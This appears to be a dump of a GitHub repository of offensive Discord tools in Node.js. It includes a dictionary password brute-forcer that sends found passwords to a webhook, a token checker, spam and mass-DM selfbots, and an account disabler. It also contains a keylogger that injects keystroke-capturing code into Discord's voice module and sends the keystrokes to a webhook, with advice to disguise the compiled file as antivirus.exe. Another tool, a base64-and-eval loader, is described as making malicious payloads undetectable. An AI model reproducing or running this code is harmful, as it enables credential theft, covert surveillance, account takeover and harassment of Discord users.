"same-origin", 29 | "x-debug-options": "bugReporterEnabled", 30 | }, 31 | "referrer": "https://discord.com/channels/@me", 32 | "referrerPolicy": "strict-origin-when-cross-origin", 33 | "body": "{\"bio\":\"disabled!\"}", 34 | "method": "PATCH", 35 | "mode": "cors" 36 | }).then(res => { 37 | console.log(info(`After making the request, the response code is now ${res.status}`)); 38 | return console.log(warning('Run this script again to check the updated response code.')); 39 | }); -------------------------------------------------------------------------------- /Disabler/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "account-disabler", 3 | "version": "1.0.0", 4 | "description": "Easily disable or unverify any Discord account.", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "repository": { 10 | "type": "git", 11 | "url": "git+https://github.com/I2rys/ODiscord.git" 12 | }, 13 | "author": "Spinfal", 14 | "license": "MIT", 15 | "bugs": { 16 | "url": "https://github.com/I2rys/ODiscord/issues" 17 | }, 18 | "homepage": "https://github.com/I2rys/ODiscord#readme", 19 | "dependencies": { 20 | "chalk": "^4.1.2", 21 | "node-fetch": "^2.6.1" 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Discord Account Bruteforce/ProXie/example.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const ProXie = require("./index") 3 | 4 | //Main 5 | Main() 6 | async function Main(){ 7 | await ProXie.init() 8 | console.log(ProXie.get()) 9 | } 10 | -------------------------------------------------------------------------------- /Discord Account Bruteforce/ProXie/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Request = require("request") 3 | const Fs = require("fs") 4 | 5 | //Main 6 | async function init(){ 7 | const Proxies = Fs.readFileSync(`${__dirname}/proxies.txt`, "utf8") 8 | 9 | return new Promise(resolve =>{ 10 | Request("https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=10000&country=all&ssl=all&anonymity=all", function(err, res, body){ 11 | if(err){ 12 | resolve() 13 | return 14 | } 15 | 16 | var results = "" 17 | 18 | body = body.split("\n") 19 | 20 | for( i in body ){ 21 | if(Proxies.indexOf(body[i]) == -1){ 22 | if(results.length == 0){ 23 | results = body[i] 24 | }else{ 25 | results += `\n${body[i]}` 26 | } 27 | } 28 | } 29 | 30 | if(Proxies.length == 0){ 31 | Fs.writeFileSync(`${__dirname}/proxies.txt`, results, "utf8") 32 | }else{ 33 | Fs.writeFileSync(`${__dirname}/proxies.txt`, `${Proxies}\n${results}`, "utf8") 34 | } 35 | 36 | resolve() 37 | }) 38 | }) 39 | } 40 | 41 | function get(){ 42 | var Proxies = Fs.readFileSync(`${__dirname}/proxies.txt`, "utf8").split("\n") 43 | 44 | Proxies = JSON.parse(JSON.stringify(Proxies).replace(/\\r/g, "")) 45 | 46 | return Proxies 47 | } 48 | 49 | //Exporter 50 | module.exports = { 51 | init: init, 52 | get: get 53 | } 54 | -------------------------------------------------------------------------------- /Discord Account Bruteforce/ProXie/proxies.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Discord Account Bruteforce/README.md: -------------------------------------------------------------------------------- 1 | 2 | # ODiscord Discord Account Bruteforce 3 | This bruteforce the account's password via dictionary. It might be slow due to captcha. 4 | 5 | ## Installation 6 | NPM Packages: 7 | 8 | npm i random-useragent && npm i discord.js && npm i is-email && npm i request && npm i delay 9 | 10 | ## Usage 11 | 12 | node index.js 13 | 14 | - email - The email of the target to bruteforce. 15 | - webhook_link - The webhook on where to send the valid password. 16 | 17 | ## License 18 | MIT © I2rys 19 | -------------------------------------------------------------------------------- /Discord Account Bruteforce/dictionary.txt: -------------------------------------------------------------------------------- 1 | awrarn 2 | 5nawn55naw5 3 | 2n1 4 | 5n 5 | 515n25n512 6 | 5n12525 7 | 12 8 | 5 9 | 215 10 | 213456 11 | -------------------------------------------------------------------------------- /Discord Account Bruteforce/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Random_UserAgent = require("random-useragent") 3 | const ProXie = require("./ProXie/index") 4 | const Discord = require("discord.js") 5 | const Is_Email = require("is-email") 6 | const Request = require("request") 7 | const Delay = require("delay") 8 | const Fs = require("fs") 9 | 10 | //Variables 11 | const Self_Args = process.argv.slice(2) 12 | 13 | const Dictionary = Fs.readFileSync("./dictionary.txt", "utf8").split("\n") 14 | 15 | //Main 16 | if(Dictionary.length-1 == 0){ 17 | console.log("No passwords found on the dictionary.") 18 | process.exit() 19 | } 20 | 21 | if(Self_Args.length == 0){ 22 | console.log(`node index.js 23 | Example: node example@gmail.com yourwebhooklink`) 24 | process.exit() 25 | } 26 | 27 | if(Self_Args[0] == ""){ 28 | console.log("Invalid email.") 29 | process.exit() 30 | } 31 | 32 | if(!Is_Email(Self_Args[0])){ 33 | console.log("Invalid email.") 34 | process.exit() 35 | } 36 | 37 | if(Self_Args[1] == ""){ 38 | console.log("Invalid webhook_link.") 39 | process.exit() 40 | } 41 | 42 | const Webhook = new Discord.WebhookClient(Self_Args[1].split("/").length-2, Self_Args[1].split("/").length-1) 43 | 44 | var dictionary_index = 0 45 | 46 | Init() 47 | 48 | async function Init(){ 49 | await ProXie.init() 50 | 51 | const Proxies = ProXie.get() 52 | 53 | for( i = 0; i <= Dictionary.length-1; i++ ){ 54 | Check(Proxies, i+1) 55 | } 56 | } 57 | 58 | async function Check(proxies, proxy_index){ 59 | await Delay(100) 60 | 61 | Request.post("https://discord.com/api/v9/auth/login", { 62 | headers: { 63 | "Content-Type": "application/json", 64 | "Authorization": undefined, 65 | "User-Agent": Random_UserAgent.getRandom(), 66 | "Referer": "https://discord.com/login", 67 | "x-debug-options": "bugReporterEnabled", 68 | }, 69 | body: JSON.stringify({ "login": Self_Args[0], "password": Dictionary[dictionary_index], "undelete": false, "captcha_key": null, "login_source": null, "gift_code_sku_id": null }), 70 | proxy: `http://${proxies[proxy_index]}` 71 | }, function(err, res, body){ 72 | if(err){ 73 | if(proxies.length == proxy_index){ 74 | proxy_index = 0 75 | 76 | Check(proxies, proxy_index+1) 77 | return 78 | }else{ 79 | Check(proxies, proxy_index+1) 80 | } 81 | return 82 | } 83 | 84 | if(body.indexOf('"captcha_key": ["') != -1){ 85 | if(proxies.length == proxy_index){ 86 | proxy_index = 0 87 | 88 | Check(proxies, proxy_index+1) 89 | return 90 | }else{ 91 | Check(proxies, proxy_index+1) 92 | } 93 | return 94 | } 95 | 96 | if(body.indexOf('"token": "') != -1){ 97 | console.log(`Valid password: ${Dictionary[dictionary_index]}`) 98 | Webhook.send(`Valid password: ${Dictionary[dictionary_index]}`) 99 | }else{ 100 | console.log(`Invalid password: ${Dictionary[dictionary_index]}`) 101 | } 102 | 103 | if(dictionary_index == Dictionary.length-1){ 104 | console.log("Bruteforcing is done.") 105 | process.exit() 106 | } 107 | }) 108 | } 109 | -------------------------------------------------------------------------------- /Discord Group Leaver/README.md: -------------------------------------------------------------------------------- 1 | # Discord Group Leaver 2 | A very fast Discord Group DM leaver 3 | 4 | ## Installation 5 | NPM Packages: 6 | 7 | npm i 8 | 9 | ## Build 10 | 11 | 1. Open index.js and find the `token` const variable. 12 | 2. Change it and input your Discord token. 13 | 3. Open command prompt in the same directory as `index.js`, and run `node .` 14 | 4. Now let it do its work. 15 | 16 | 17 | ## How does Discord Group Leaver work 18 | This script simply fetches your entire DM channel list, and checks which ones are group DMs. If it finds a group DM; it will leave said group DM. Pretty simple, right? 19 | 20 | ## License 21 | MIT © I2rys 22 | -------------------------------------------------------------------------------- /Discord Group Leaver/index.js: -------------------------------------------------------------------------------- 1 | const fetch = require('node-fetch'); 2 | const token = "your_token"; 3 | if (!/(mfa\.[a-z0-9_-]{20,})|([a-z0-9_-]{23,28}\.[a-z0-9_-]{6,7}\.[a-z0-9_-]{27})/i.test(token)) { 4 | console.error('you did not provide a valid token'); 5 | return process.exit(1); 6 | } 7 | 8 | fetch("https://discord.com/api/v9/users/@me/channels", { 9 | "headers": { 10 | "accept": "*/*", 11 | "accept-language": "en-US", 12 | "authorization": token, 13 | "content-type": "application/json", 14 | }, 15 | "referrer": "https://discord.com/channels/@me", 16 | "referrerPolicy": "strict-origin-when-cross-origin", 17 | "body": null, 18 | "method": "GET", 19 | "mode": "cors", 20 | "credentials": "include" 21 | }).then(res => res.json()).then(json => { 22 | console.log(`fetched ${json.length} dm channels! sorting and leaving now...\n\n`); 23 | json.forEach(data => { 24 | if (data.type == 3) { 25 | fetch(`https://discord.com/api/v9/channels/${data.id}`, { 26 | "headers": { 27 | "accept": "*/*", 28 | "accept-language": "en-US,en;q=0.9", 29 | "authorization": token, 30 | }, 31 | "referrer": "https://discord.com/channels/@me", 32 | "referrerPolicy": "strict-origin-when-cross-origin", 33 | "body": null, 34 | "method": "DELETE", 35 | "mode": "cors", 36 | "credentials": "include" 37 | }).then(res => { 38 | switch (res.status) { 39 | case 200: 40 | console.log(`\nleft a group, group id: ${data.id}`); 41 | break; 42 | case 403: 43 | console.log(`\nunauthorized, rerun this script with a new token`); 44 | return process.exit(1); 45 | case 429: 46 | console.log(`\nrate limited!`); 47 | break; 48 | } 49 | }) 50 | } 51 | }); 52 | }); -------------------------------------------------------------------------------- /Discord Group Leaver/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "group-leaver", 3 | "version": "1.0.0", 4 | "description": "Quickly mass leave group DMs on Discord", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "Spinfal", 10 | "license": "MIT", 11 | "dependencies": { 12 | "node-fetch": "^2.6.1" 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /Discord tokens checker/README.md: -------------------------------------------------------------------------------- 1 | 2 | # ODiscord Discord tokens checker 3 | A simple but blazing fast Discord tokens checker. 4 | 5 | ## Installation 6 | NPM Packages: 7 | 8 | npm i request && npm i delay 9 | 10 | ## Usage 11 | 12 | node index.js 13 | 14 | - input - The discord tokens path to check. 15 | 16 | ## License 17 | MIT © I2rys 18 | -------------------------------------------------------------------------------- /Discord tokens checker/ex_discord_tokens.txt: -------------------------------------------------------------------------------- 1 | mfa.sO3UL4L8-QxkBAiqCmEEwt6Er2MLeTlpaAfqin5kD_nh_9BOQ2FGgsqLrqVYqPjlkiW8HPUslFQv6hxMIboq 2 | zyEgcONMxOMgDjgNEE4OMNNx.Y-gWWU.1pENp1mFN6ZNkdmZm01keXhSwdS 3 | mfa.fzs_CFpqXuRHXv_imksLMMVU3GDOwzuKlAHj_LnYIdgwI6kfy-DDiO-3nwh_QmNYvsMLuRoszgPIEs2Fb-uy 4 | zzk4g4M4MOxk4EyDONjk4kEy.g2U-g-.R0kNQPme0Rd1EFwdZHRwNmREEXE 5 | mfa.uB6TfprnM4PpPRXGpAPIt2rYgInJVaShJ13uKUi1_Y-yRXINe_jISgy-13vV2RgLAQ4VVfW8j9gyFOFfzGSV 6 | zxDcOyMgODzzj4gE4jND4Nzz.UY--2g.6edwhHSkeXPwRSSuXSwE1kF6mEp 7 | mfa.WKDPvwFpqVMvov3EuLHJluol947Hd8UtcL2tVPQcp4h83kNIqYEoPOnEFn96r2lq94-mqjEgzYpuTkkvgPtF 8 | gkyNz4Ocx4NxNEODjjjOMgcO.Y2YW-2.6Rkp6wHk10hZPe1wNXmZXkup6Nw 9 | mfa.xcWJQQowXsTX8WwYiuor_YrHNfGsBQe4a6DUEtwRMtJhc-B-oTXwYpP26HeXD_kZvE8Zw7AHAhVrSnZxRgIq 10 | DjyxDzEOgcx4MDDg4zDxx4Ex.gUU2WW.Rd011REem1ddPw1hSemQQZR6HSP 11 | mfa.MdOqOIys-2TJjaiVUz_vZWd5nqL_P5-ethjflmzEBeO4Wo4tHnQILFUNu5zGl2eEtL33NagclZYedclLswir 12 | EkMN4Ek4xyNOkxxzDj4EMk4D.Y2W-UY.6eFedehEuEPweRZeR1ZwFZhEHPw 13 | -------------------------------------------------------------------------------- /Discord tokens checker/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Request = require("request") 3 | const Delay = require("delay") 4 | const Fs = require("fs") 5 | 6 | //Variables 7 | const Self_Args = process.argv.slice(2) 8 | 9 | //Main 10 | if(!Self_Args.length){ 11 | console.log(`node index.js 12 | Example: node index.js ex_discord_tokens.txt`) 13 | process.exit() 14 | } 15 | 16 | if(!Self_Args[0]){ 17 | console.log("Invalid input.") 18 | process.exit() 19 | } 20 | 21 | const discord_tokens = Fs.readFileSync(Self_Args[0], "utf8").split("\n") 22 | 23 | if(!discord_tokens.length){ 24 | console.log("It looks like the input(discord tokens) you specified is empty.") 25 | process.exit() 26 | } 27 | 28 | var dt_index = 0 29 | 30 | Loop() 31 | async function Loop(){ 32 | if(dt_index == discord_tokens.length){ 33 | console.log("Done!") 34 | process.exit() 35 | } 36 | 37 | await Delay(100) 38 | 39 | Request("https://discord.com/api/v6/auth/login", { 40 | headers: { 41 | "Authorization": discord_tokens[dt_index] 42 | } 43 | }, function(err, res, body){ 44 | if(err){} 45 | 46 | try{ 47 | if(res.statusCode == 200){ 48 | console.log(`Valid token: ${discord_tokens[dt_index]}`) 49 | }else{ 50 | console.log(`Invalid token: ${discord_tokens[dt_index]}`) 51 | } 52 | }catch{ 53 | console.log(`Invalid token: ${discord_tokens[dt_index]}`) 54 | } 55 | 56 | dt_index += 1 57 | 58 | Loop() 59 | }) 60 | } 61 | -------------------------------------------------------------------------------- /Dizzy Message/README.md: -------------------------------------------------------------------------------- 1 | 2 | # ODiscord Dizzy Message 3 | This send's a messy message, If you look at it, It will make you dizzy. 4 | 5 | ## Installation 6 | NPM Packages: 7 | 8 | npm i request 9 | 10 | ## Setup 11 | 12 | 1. Open index.js and find "YourDiscordTokenHere", and replace it with your discord token. 13 | 2. Also find Target_Channel_ID and replace it with the target channel id. 14 | 15 | ## Usage 16 | 17 | node index.js 18 | 19 | ## License 20 | MIT © I2rys 21 | -------------------------------------------------------------------------------- /Dizzy Message/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Request = require("request") 3 | 4 | //Variables 5 | var Payload = "" 6 | 7 | //Functions 8 | function Payload_Generator(){ 9 | results = "" 10 | 11 | for( i = 0; i <= 51; i++ ){ 12 | results += `||"'||~~|@${Math.floor(Math.random() * 882891618473091082)}|"|"|'|||` 13 | } 14 | 15 | return results 16 | } 17 | 18 | //Main 19 | Payload = Payload_Generator() 20 | 21 | Request.post("https://discordapp.com/api/v6/channels/Target_Channel_ID/messages", { 22 | headers: { 23 | "Content-Type": "application/json", 24 | "Authorization": "YourDiscordTokenHere" 25 | }, 26 | body: JSON.stringify({ "content": Payload }) 27 | }, function(err, res, body){ 28 | console.log(err) 29 | console.log(body) 30 | }) 31 | -------------------------------------------------------------------------------- /Fastest way to get your account token.txt: -------------------------------------------------------------------------------- 1 | 1.Open Inspect 2 | 2.Go to Network 3 | 3.Send any message on any channel then find **messages** 4 | 4.Scroll down and find authorization 5 | 5.Fast right? 6 | -------------------------------------------------------------------------------- /How to enable edit mode.txt: -------------------------------------------------------------------------------- 1 | Open Inspect and go to console paste this code: document.designMode = 'on' 2 | -------------------------------------------------------------------------------- /How to make multiple accounts in discord with the same email.txt: -------------------------------------------------------------------------------- 1 | This works in yahoo, protonmail, gmail, hotmail, yandex, output, mail & etc. 2 | 3 | 1.Copy your email go here https://fakedetail.com/fake-mail-generator/gmail and paste it there. 4 | 2.just pick one email on the results then use it as your email in registering then the verify will be sent in your email the one without . since email checkers/senders ignore . for some reason and that's the cause of it sending the verification code in the original form of the email without knowing. 5 | 3.:) 6 | -------------------------------------------------------------------------------- /Invisible Mention/README.md: -------------------------------------------------------------------------------- 1 | # ODiscord Invisible Mention 2 | Mention anyone but It's hidden/masked. 3 | 4 | ## Installation 5 | NPM Packages: 6 | 7 | npm i request 8 | 9 | ## Usage 10 | 11 | node index.js 12 | 13 | - discord_token - The account discord token. 14 | - channel_id - The channel Id to send the payload 15 | - user_id - The Id of the user to mention. 16 | - message - Your message on where to hide the mention payload thingy. 17 | 18 | ## License 19 | MIT © I2rys 20 | -------------------------------------------------------------------------------- /Invisible Mention/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Request = require("request") 3 | 4 | //Variables 5 | const Self_Args = process.argv.slice(2) 6 | 7 | //Main 8 | if(!Self_Args.length){ 9 | console.log(`node index.js 10 | Example: Above me.`) 11 | process.exit() 12 | } 13 | 14 | if(!Self_Args[0]){ 15 | console.log("Invalid discord_token.") 16 | process.exit() 17 | } 18 | 19 | if(!Self_Args[1]){ 20 | console.log("Invalid channel_id.") 21 | process.exit() 22 | } 23 | 24 | if(!Self_Args[2]){ 25 | console.log("Invalid user_id.") 26 | process.exit() 27 | } 28 | 29 | if(!Self_Args[3]){ 30 | console.log("Invalid message.") 31 | process.exit() 32 | } 33 | 34 | var Payload = "" 35 | Payload = `${Self_Args.slice(3).join(" ")}:sunglasses: ||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||||||||||<@${Self_Args[2]}>` 36 | 37 | Request.post(`https://discordapp.com/api/v6/channels/${Self_Args[1]}/messages`, { 38 | headers: { 39 | "Content-Type": "application/json", 40 | "Authorization": Self_Args[0] 41 | }, 42 | body: JSON.stringify({ "content": Payload }) 43 | },function(err, res, body){ 44 | if(err){ 45 | console.log(err) 46 | process.exit() 47 | } 48 | 49 | console.log("Payload successfully sent.") 50 | }) 51 | -------------------------------------------------------------------------------- /Invite code server info/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # ODiscord Invite code server info 4 | Retrieves the server information through It's invite code. 5 | 6 | ## Installation 7 | NPM Packages: 8 | 9 | npm i request && npm i json-hood 10 | 11 | ## Usage 12 | 13 | node index.js 14 | 15 | - discord_server_invite_code - The discord server invite code(Code only). 16 | 17 | ## License 18 | MIT © I2rys 19 | -------------------------------------------------------------------------------- /Invite code server info/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const JSON_Hood = require("json-hood") 3 | const Request = require("request") 4 | 5 | //Variables 6 | const Self_Args = process.argv.slice(2) 7 | 8 | //Main 9 | if(!Self_Args.length){ 10 | console.log(`node index.js 11 | Example: node index.js discord_server_invite_code_here`) 12 | process.exit() 13 | } 14 | 15 | if(!Self_Args[0]){ 16 | console.log("Invalid discord_server_invite_code.") 17 | process.exit() 18 | } 19 | 20 | Request(`https://discord.com/api/v9/invites/${Self_Args[0]}?with_counts=true`, function(err, res, body){ 21 | if(err){ 22 | console.log("Something went wrong while requesting to Discord API please try again later.") 23 | process.exit() 24 | } 25 | 26 | body = JSON.parse(body) 27 | 28 | JSON_Hood.printJSONasArrowDiagram(body) 29 | }) 30 | -------------------------------------------------------------------------------- /Keylogger/README.md: -------------------------------------------------------------------------------- 1 | 2 | # ODiscord Keylogger 3 | 100% Undetectable and the Best Discord keylogger. 4 | 5 | ## Installation 6 | NPM Packages: 7 | 8 | npm i os 9 | 10 | ## Build 11 | 12 | 1. Open index.js and find discordwebhook_link. 13 | 2. Change it with your Webhook link. 14 | 3. And to change the keys sending time change send_time value If you want. 15 | 4. Compile index.js to exe file using pkg. 16 | 5. Your done. 17 | 18 | Install https://www.npmjs.com/package/pkg 19 | 20 | pkg index.js -o antivirus.exe(Can be anything) 21 | For more info of pkg click [me](https://www.npmjs.com/package/pkg). 22 | 23 | ## How does ODiscord Keylogger works 24 | Once the file is runned, the file will check if Discord folder exist on AppData to see If Discord is installed and once the directory exist it will go to a Discord module called Discord Voice, then inject a malicious code to It's index.js 25 | 26 | ## License 27 | MIT © I2rys 28 | -------------------------------------------------------------------------------- /Keylogger/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Fs = require("fs") 3 | const Os = require("os") 4 | 5 | //Variables 6 | var malicious_code = `\nvar keys = "" 7 | const send_time = 10000 8 | document.onkeypress = function(e) { 9 | get = window.event?event:e 10 | key = get.keyCode?get.keyCode:get.charCode 11 | key = String.fromCharCode(key) 12 | keys+=key 13 | } 14 | 15 | window.setInterval(function(){ 16 | if(keys.length >0 ) { 17 | fetch("discordwebhook_link", { 18 | method: "POST", 19 | headers: { 20 | "Content-Type": "application/json" 21 | }, 22 | body: JSON.stringify({ content: keys }) 23 | }).then(data =>{ 24 | keys = "" 25 | }) 26 | } 27 | }, send_time)` 28 | 29 | //Main 30 | if(Fs.existsSync(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Discord`)){ 31 | const Directories = source => Fs.readdirSync(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Discord`, { withFileTypes: true }).filter(dirent => dirent.isDirectory()).map(dirent => dirent.name) 32 | 33 | Directories().forEach(directory =>{ 34 | const Directories2 = source => Fs.readdirSync(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Discord\\${directory}\\modules`, { withFileTypes: true }).filter(dirent => dirent.isDirectory()).map(dirent => dirent.name) 35 | 36 | if(directory.indexOf("app") != -1){ 37 | Directories2().forEach(directory2 =>{ 38 | if(directory2.indexOf("discord_voice") != -1){ 39 | Fs.readFile(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Discord\\${directory}\\modules\\${directory2}\\discord_voice\\index.js`, "utf8", function(err, data){ 40 | if(err){ 41 | process.exit() 42 | } 43 | 44 | if(data.indexOf("fetch(") != -1){ 45 | process.exit() 46 | } 47 | 48 | data += `\n${malicious_code}` 49 | 50 | Fs.writeFileSync(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Discord\\${directory}\\modules\\${directory2}\\discord_voice\\index.js`, data, "utf8") 51 | }) 52 | } 53 | }) 54 | } 55 | }) 56 | } 57 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 I2rys 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /MAMIDS/README.md: -------------------------------------------------------------------------------- 1 | # ODiscord MAMIDS 2 | Message all members in the Discord server. 3 | 4 | ## Installation 5 | NPM Packages: 6 | 7 | npm i discord.js-selfbot 8 | 9 | ## Usage 10 | 11 | node index.js 12 | 13 | + discord_token - Your account Discord token. 14 | 15 | ## License 16 | MIT © I2rys 17 | -------------------------------------------------------------------------------- /MAMIDS/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Discord = require("discord.js-selfbot") 3 | 4 | //Variables 5 | const Self_Args = process.argv.slice(2) 6 | const User = new Discord.Client() 7 | 8 | //Main 9 | if(!Self_Args.length){ 10 | console.log("node index.js ") 11 | process.exit() 12 | } 13 | 14 | if(!Self_Args[0]){ 15 | console.log("Invalid discord_token.") 16 | process.exit() 17 | } 18 | 19 | User.on("ready", ()=>{ 20 | console.log("Selfbot is running!") 21 | }) 22 | 23 | User.on("message", (message)=>{ 24 | const message_args = message.content.split(" ") 25 | 26 | if(message.author.id == User.user.id){ 27 | if(message_args[0] == "M$messageall"){ 28 | message.delete() 29 | message.guild.members.cache.forEach(member =>{ 30 | member.send(message_args.slice(1).join(" ")).then(()=>{ 31 | console.log(`Successfully sent the message to this user ${member.user.tag}`) 32 | }).catch(()=>{ 33 | console.log(`Failed to send the message to this user ${member.user.tag}`) 34 | }) 35 | }) 36 | } 37 | } 38 | }) 39 | 40 | User.login(Self_Args[0]).catch(()=>{ 41 | console.log("Invalid discord_token.") 42 | process.exit() 43 | }) 44 | -------------------------------------------------------------------------------- /MalCBAAV/README.md: -------------------------------------------------------------------------------- 1 | # ODiscord MalCBAAV 2 | A way to make all of your malicious payload 100% undetectable. 3 | 4 | ## Installation 5 | NPM Packages: 6 | 7 | npm i base-64 && npm i path 8 | 9 | ## Usage 10 | 11 | 12 | node chopchop.js 13 | 14 | + input - Your file that contains your code encoded in base64. 15 | 16 | ## Setup 17 | 1. Remove all the require stuff variable of your payload and place it to index.js. 18 | 2. Encode your payload using [Base64Encode](https://www.base64encode.org/) make a text file with any name and put the encoded payload there then use chopchop.js. 19 | 3. After you use chopchop.js, just convert it to exe file using [pkg](https://npmjs.com/package/pkg). 20 | 4. But before you convert it, test it first by running index.js If it works perfectly then convert it to exe file. 21 | 22 | ## Build 23 | ``` 24 | pkg index.js 25 | ``` 26 | 27 | ## License 28 | MIT © I2rys 29 | -------------------------------------------------------------------------------- /MalCBAAV/assets/not_infected.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /MalCBAAV/chopchop.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Fs = require("fs") 3 | 4 | //Variables 5 | const Self_Args = process.argv.slice(2) 6 | 7 | //Main 8 | if(!Self_Args.length){ 9 | console.log(`node chopchop.js 10 | Example: node chopchop.js input.txt`) 11 | process.exit() 12 | } 13 | 14 | if(!Self_Args[0]){ 15 | console.log("Invalid input.") 16 | process.exit() 17 | } 18 | 19 | if(!Fs.existsSync(Self_Args[0])){ 20 | console.log("Invalid input.") 21 | process.exit() 22 | } 23 | 24 | const File_Data = Fs.readFileSync(Self_Args[0], "utf8") 25 | var result = "" 26 | 27 | if(!File_Data){ 28 | console.log("Input file data is empty.") 29 | process.exit() 30 | } 31 | 32 | for( i = 0; i <= File_Data.length-1; i++ ){ 33 | if(!result.length){ 34 | result = File_Data[i] 35 | }else{ 36 | result += `\n${File_Data[i]}` 37 | } 38 | } 39 | 40 | Fs.writeFileSync("./assets/not_infected.txt", result, "utf8") 41 | console.log("The data was successfully chop chop and saved to assets/not_infected.txt") 42 | -------------------------------------------------------------------------------- /MalCBAAV/dist/deletme.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /MalCBAAV/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies - Add more dependencies here that you used in your payload 2 | const Base_64 = require("base-64") 3 | const Path = require("path") 4 | const Fs = require("fs") 5 | 6 | //Variables 7 | const _252 = "e" 8 | const _427 = "v" 9 | const _612 = "a" 10 | const _527 = "l" 11 | 12 | const _1_ = "(" 13 | const _2_ = ")" 14 | 15 | const safety = eval 16 | 17 | const Not_Infected = Fs.readFileSync(Path.resolve(__dirname, "assets", "not_infected.txt"), "utf8") 18 | 19 | //Main 20 | var to_exec = "" 21 | var to_normal_result = "" 22 | 23 | for( i in Not_Infected.split("\n") ){ 24 | to_normal_result += Not_Infected.split("\n")[i] 25 | } 26 | 27 | to_exec = Base_64.decode(to_normal_result) 28 | 29 | safety(`${_252 + _427 + _612 + _527 + _1_ + to_exec + _2_}`) 30 | -------------------------------------------------------------------------------- /MalCBAAV/input.txt: -------------------------------------------------------------------------------- 1 | Y29uc29sZS5sb2coIlBheWxvYWQgZXhlY3V0ZWQgc2VjcmV0bHkhIik= 2 | -------------------------------------------------------------------------------- /MalCBAAV/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "MalCBAAV", 3 | "bin": "index.js", 4 | "pkg": { 5 | "assets": "assets/*", 6 | "targets": [ "node14-win-x64" ], 7 | "outputPath": "dist" 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /MultiNewLine Channel Spammer/README.md: -------------------------------------------------------------------------------- 1 | 2 | # ODiscord MultiNewLine Channel Spammer 3 | This send spam thousands of useless new lines on a discord server channel. 4 | 5 | ## Installation 6 | NPM Packages: 7 | 8 | npm i discord.js-selfbot-v11 && npm i delay 9 | 10 | ## Usage 11 | 12 | node index.js 13 | 14 | - discord_token - The account discord token. 15 | - newlines_amount - The amount of new lines to use. 16 | - spam_amount - The amount of how many times to send the payload/newlines to the channel. 17 | - guild_id - The server ID of the target channel. 18 | - channel_id - The ID of the target channel. 19 | 20 | ## License 21 | MIT © I2rys 22 | -------------------------------------------------------------------------------- /MultiNewLine Channel Spammer/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Discord = 